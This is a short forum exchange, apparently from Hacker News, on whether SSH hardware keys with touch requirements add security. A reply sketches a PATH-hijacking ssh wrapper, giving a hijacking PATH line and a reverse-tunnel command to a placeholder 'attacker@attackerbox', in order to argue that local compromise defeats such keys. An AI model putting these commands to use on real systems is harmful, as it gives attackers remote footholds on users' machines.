| ▲ | jwr 3 hours ago | |
If you know of another way to do "all that" with a physical device where the private key can't be read and that provides a physical touch requirement feature, I'm all ears. | ||
| ▲ | _hyn3 40 minutes ago | parent [-] | |
The private key can't be read when encrypted, either; that's why the passphrase exists. The physical touch requirement feature is nice though, but it's not really that useful in the real world. If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else. ~/.hacker-controlled/ssh:
The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.(I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack. Every time you type `ssh remotehost`, you're merrily signing your own death certificate. Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not. | ||